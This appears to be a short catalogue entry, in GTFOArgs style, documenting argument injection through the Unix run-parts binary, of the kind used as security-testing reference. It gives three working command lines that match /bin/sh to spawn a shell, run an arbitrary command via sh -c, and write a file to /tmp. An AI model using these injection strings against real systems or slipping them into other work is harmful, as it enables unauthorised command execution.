argument community v1.0.0

run-parts

Argument injection via run-parts

📋 Live Preview
run-parts
run-parts

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command

Examples

Spawn an interactive shell by matching `/bin/sh`.

run-parts --new-session --regex '^sh$' /bin 

Execute an arbitrary command via `sh -c <cmd>` using `--arg`.

run-parts --regex '^sh$' --arg -c --arg 'id' /bin 

Run a command that writes a file (example uses `echo`).

run-parts --regex '^sh$' --arg -c --arg 'echo pwned > /tmp/owned' /bin 

Documentation

run-parts

GTFOArgs entry for run-parts. This binary can be used to inject arguments for execution, file operations, or other capabilities.

References